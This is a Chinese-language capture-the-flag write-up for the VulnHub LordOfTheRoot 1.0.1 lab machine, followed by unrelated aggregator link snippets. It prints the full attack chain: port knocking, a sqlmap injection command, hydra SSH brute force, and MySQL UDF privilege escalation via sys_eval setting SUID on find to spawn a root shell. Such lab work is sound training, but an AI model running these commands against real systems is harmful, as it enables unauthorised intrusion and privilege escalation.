LordOfTheRoot_1.0.1靶机入侵

2023-10-26

LordOfTheRoot_1.0.1靶机入侵

1、环境搭建

下载地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

​ 下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。

2、信息收集

  • 主机发现

    使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.110.1/24
    在这里插入图片描述
    192.168.110.137,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.110.1/24

  • 端口扫描

    使用nmap扫描端口,并做服务识别和深度扫描(加-A参数):nmap -p- -A 192.168.110.138
    在这里插入图片描述

    扫描结果显示只开启了22端口ssh服务

3、漏洞探测

  • 端口碰撞

    尝试登录ssh服务
    在这里插入图片描述
    发现提示 knock Easy as 1,2,3 意思是敲击三次 端口碰撞

    端口碰撞原理

    端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。
    一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
    端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。
    端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。
    当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
    由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
    

    要求

    端口碰撞要求  知道端口碰撞的序列 否则暴力破解几率很小
    Easy as 1,2,3 碰撞序列为1 ,2,3
    

    使用knock碰撞(敲门),按指定顺序碰撞指定的端口

    knock 192.168.110.138 1 2 3 -v
    

    也可以用nmap

    for x in 1 2 3;do nmap -Pn --max-retries 0 -p $x 192.168.110.138;done
    

    碰撞后再次扫描端口(那台电脑碰撞的就用哪台扫描)
    在这里插入图片描述
    发现还开放了1337端口
    在这里插入图片描述

  • 目录扫描

    使用dirsearch对网站扫描
    在这里插入图片描述
    在404页面的源码中发现了一串编码
    在这里插入图片描述
    解码得到一个目录
    在这里插入图片描述
    访问发现是一个登录页面
    在这里插入图片描述

  • SQL注入

    测试发现页面存在SQL注入,查看mysql当前登录用户,是否有DBA权限,以及当前数据库名

    sqlmap -u http://192.168.110.138:1337/978345210/index.php --data="password=admin&submit=+Login+&username=admin" -p password --current-user --current-db --is-dba
    

在这里插入图片描述
注入得到账号密码(延时注入过程有点久·······)

得到5个账号密码,试着登录一下
在这里插入图片描述
网站的登录后没什么有用信息
在这里插入图片描述

  • ssh爆破

    利用得到的账号和密码去爆破ssh服务,这儿使用hydra

    用注入得到的账号密码做成两个字典
    在这里插入图片描述
    找到一个可登录的账号smeagol /MyPreciousR00t
    在这里插入图片描述
    成功登录
    在这里插入图片描述

4、权限提升

这里可以使用内核提权,我这使用udf提权

先想办法找到mysql中root用户的账号和密码

在网站登录页源码中找到了:root/darkshadow

首先看一下是否满足写入条件:
在这里插入图片描述
满足udf条件

查看插件目录:

show variables like '%plugin%';

在这里插入图片描述

查看是否可以远程登录 若可以远程登陆可以用msf提权 
use mysql;
select user,host from user;

在这里插入图片描述
并不能

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。

或者udf exploit提权那个的函数执行系统命令
do_system 

本次使用lib_mysqludf_sys

Linux系统中使用.so后缀的,sqlmap中的这两个文件经过了编码,不能直接使用。这里用的是msf里面的
在这里插入图片描述
python开启http服务,让靶机下载提权.so文件

python2语法:
python -m SimpleHTTPServer 8080

python3语法:
python -m http.server 8080

靶机进入到/tmp目录wget下载udf.so文件
在这里插入图片描述

mysql -uroot -pdarkshadow  //进入mysql
use mysql    //切换到mysql数据库
create table udf (line blob); //创建表,用于存放本地传来的udf文件的内容。

insert into udf values(load_file('/tmp/udf.so')); //在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; 

//将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改

create function sys_eval returns string soname 'udf.so'; 创建自定义函数

select * from mysql.func; //查看函数

select sys_eval('chmod u+s /usr/bin/find');
//调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令(这里想象空间很大,可以把当前用户加入管理组,也可以是其他命令等等)

find / -exec '/bin/sh' \;  //执行提权

在这里插入图片描述
在这里插入图片描述
成功拿到flag

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

LordOfTheRoot_1.0.1靶机入侵 的相关文章

  • 前端工程化(2):postCss 和 babel的使用

    前端工程化 2 postCss 和 babel的使用 本文例子可以点击这里 0 前言 babel是什么 官网给出的定义 Babel 是一个工具链 主要用于将 ECMAScript 2015 版本的代码转换为向后兼容的 JavaScript
  • eclipse was unable to locate its companion shared library

    当转移或者Copy工程时 eclipse was unable to locate its companion shared library eclipse ini 里面的路径配置错误导致 launcher library C Users
  • 三个好用前端编辑工具推荐+推荐原因(VSCode、WebStrom、HbuilderX 的推荐对比,不纠结 !)

    市面上编辑器挺多的 之前写过一期 一年了 更新一下 先上结论 如果 电脑配置差 颜狗 建议用VSCode 如果 你认为你0基础还笨 建议用Hbuider培养兴趣 否则 WebStorm 暂时是前端写代码的无二选择 或者 我全都要 以下是个人
  • 泛型类, 泛型接口的继承, 委托, 反射

    使用泛型定义一个父类 using System using System Collections Generic using System Linq using System Text using System Threading Task
  • 编译原理之LL(1) 、LR(0)、SLR、LR(1)、LALR文法的对比

    欢迎关注我的个人博客 www zuzhiang cn 考完编译原理有一段时间了 记得当时都被以上这五种文法搞懵了 所以希望写篇文章帮助那些正在学习的人 以下内容是依据龙书中文版讲解的 由于老师不同可能某些地方大同小异 如有什么纰漏之处还请指
  • 【更新中】目标检测——梳理,准备面试

    最近在准备找工作面试 本文在此梳理了目标检测中涉及的面试要用的知识点 包含了一下几方面 My paper reading 过程总结 实际步骤 所花时间 评价 改进 先看了abstract 1 introduction 以及 4 relate
  • 【图像处理】Hough直线变换

    I 直线篇 1 直线是如何表示的 对于平面中的一条直线 在笛卡尔坐标系中 常见的有点斜式 两点式两种表示方法 然而在hough变换中 考虑的是另外一种表示方式 使用 r theta 来表示一条直线 其中r为该直线到原点的距离 theta为该
  • web前端进化之路(一)——小程序开发

    最近学习前端感觉很多知识学起来容易 但是很多知识点很容易忘记 想做一个工具来方便自己来学习 正好结合小程序 分享给大家 照顾初学者 可能讲的比较细 理解哈 准备工具 小程序一个 已申请 名称是 web前端进化之路 比目后端云 作为服务器后端

随机推荐

  • linux下创建多线程执行

    linux下创建多线程执行 线程 thread 台湾称 执行绪 是 进程 中某个单一顺序的控制流 也被称为轻量进程 lightweight processes 计算机科学术语 指运行中的程序的调度单位 线程是操作系统能够进行运算调度的最小单
  • 在嵌入式学习困惑:做驱动开发还是做应用开发更有前途

    在嵌入式学习过程中 很多人都有这样的困惑 意思就是说 你告诉我哪个更有前途 我就好好学哪个 另外一个就不用学了 问这种问题的同事往往会同时问另外一些问题 我以后就想做驱动开发 你教我这些应用开发的技术有什么用 C 用得多吗 学了有什么用 我
  • 黑苹果必备技能之一:升级OC(open core)引导

    目前来说 安装黑苹果的用户大部分应该都是采用的clover以及OC引导 目前由于OC引导的不断完善以及配置方法更简单 有不少用户都已经从clover引导转变到了OC引导 而关于使用OC引导安装黑苹果的教程大家可以去参考之前发布的文章 此篇文
  • 实现回到顶部功能的三种方法

    1 使用锚点 页面顶部放置一个锚点链接 然后在页面下方放置一个返回到该锚点的链接 用户点击该链接即可返回到该锚点所在的顶部位置 锚点方式 div div a href topAnchor 回到顶部 a 2 监听浏览器的scollTop事件
  • VHDL程序:四位乘法器

    VHDL程序 四位乘法器 1 IF语句行为级描述 library ieee use ieee std logic 1164 all use ieee std logic unsigned all entity multip 4 is por
  • 前端 echarts 导出图片到excel中

    这里演示的demo是基于react的 yarn add exceljs file saver echarts 首先安装以上三个包 直接使用下列代码即可 import React Component from react import App
  • FISCO BCOS(二十一)——— 实现对byte32[]数组类型的输入

    如果对一个byte32 类型的数组进行传参 我们先看一下一个string类型转成16进制是什么样的 字符串与进制转换http www ku51 net ox2str 在区块链中地址一般是0x开头 也就是16进制标识 比特币不是 所以在这里要
  • c++的可视化计算器

    学生党的一个课程设计 希望可以对有些人有些帮助 第一次发 不好的话请多多原谅 c 一 题目要求 设计一个可视化的计算器 可以执行 等操作 要求使用API来编写程序 我的计算器输入的时候是以 号开始 二 需求分析 1 问题描述 用api来编写
  • 解决easyUI 1.2.6 + datagrid在 IE浏览器下无法重新加载、查询

    I easyUI 1 2 6 datagrid在 IE浏览器目前存在的问题 1 无法重新加载 查询 var row dg user table datagrid getSelected dg userPri table datagrid m
  • C++写的encodeURIComponent

    最近在用c 找了几个库没有找到与javascript的URI编码相对应的函数 自己写一个 只写了编码 测试可以在javascript里用decodeURIComponent正常解码 uri编码字符串 param in 必须是utf 8编码的
  • 彻底解决电脑自动更新问题

    是不是隔几天电脑关机 重启的时候那会出现更新后再关机或者更新后再重启 没有立刻关机或重启是不是很烦 去设置那里的更新只能是短暂的暂停更新七天而已 这种方法没什么用的 治表不治本 只能推迟而已 如果windows推送一下小升级七天后你又得更新
  • 什么是JWT?(细致讲解)

    什么是JWT 转自 java技术爱好者 链接 https www zhihu com question 485758060 answer 2257869896 来源 知乎 起源 需要了解一门技术 首先从为什么产生开始说起是最好的 JWT 主
  • 状态设计模式

    目录 前言 状态机原理 状态机的实现方式一 分支逻辑法 状态机实现方式二 查表法 状态机实现方式三 状态模式 总结 参考资料 前言 在实际的软件开发中 状态模式并不是很常见 但是在能够用到的场景里 可以发挥比较大的作用 状态模式一般用来实现
  • HTTPSHandler & SSL Error

    我在服务器ubuntu中 尝试使用pip3 但是出现下面的报错 ImportError cannot import name HTTPSHandler 通过查询资料 发现报错的原因是 该pip3 5中没有安装好openssl 我尝试在pyt
  • python的安装过程

    python的安装 进入官网 点击进入官方链接 点击官方后 进入该页面 可以英译中 点击 Downloads即下载 选择适合自己的系统 windows系统即选择windows 苹果系统即选择macOS 进入下载页面后 选择python的版本
  • 2023面试自动化测试面试题【含答案】

    1 你做了几年的测试 自动化测试 说一下 selenium 的原理是什么 我做了五年的测试 1年的自动化测试 selenium 它是用 http 协议来连接 webdriver 客户端可以使用 Java 或者 Python 各种编程语言来实
  • flask中的Flask、request、render_temple、redirect和url_for

    学flask也有一个多星期了 对这个web框架也有了一点的了解 梳理一些基础的知识点 还是小白一只 代码写得比较low 若文章有错误的地方欢迎大佬随时指正 代码中被注释掉的代码是关于预防csrf 无视即可 主程序脚本 1 from flas
  • 01.Vuepress2.x 创建自己的技术文档站

    目录 一 简介 二 安装 三 配置 四 启动 五 效果图 六 编译 一 简介 Vuepress2 x 英文官网 Vuepress2 x 中文官网 二 安装 参考 步骤1 新建一个文件夹 如 Doc2 0 步骤2 进入文件夹目录 新建 pac
  • Anaconda对python环境管理常用命令

    创建环境 n 为指定环境名称 python 未指定python的版本 conda create n env name python 3 6 删除环境 conda remove n env name all 删除环境的包 conda remo
  • LordOfTheRoot_1.0.1靶机入侵

    LordOfTheRoot 1 0 1靶机入侵 1 环境搭建 下载地址 https www vulnhub com entry lord of the root 101 129 下载后用 VMware 或者 VirtualBox 打开 并配